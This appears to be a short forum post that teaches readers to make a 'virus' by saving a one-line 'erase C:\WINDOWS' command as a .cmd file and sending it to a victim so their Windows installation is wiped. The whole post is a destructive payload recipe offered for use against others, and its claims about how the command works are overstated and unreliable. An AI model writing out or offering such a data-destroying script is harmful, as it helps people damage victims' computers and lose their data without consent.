Make virus in just one minute

Plz Reply and show your feed back
Here is a simple and easy trick to make a virus in less than 1 minute. :)

CAUTION: DO NOT RUN THE PROGRAM ON YOUR COMPUTER OR YOU WILL LOSE YOUR WINDOWS.

HERE'S THE To Make the virus:

1.Go to notepad, 
2. Type erase C:\WINDOWS, 
3. Save IT AS SOMETHING.cmd , 
4. Send to victim, once the victim opens it, the map WINDOWS will be gone and have to install WINDOWS again...

How does this works?
The working of this virus is very simple,Once the victim runs the .cmd file on his computer,This virus will just erase the windows file causing the computer to crash.

Take care it is a simple but powerful virus.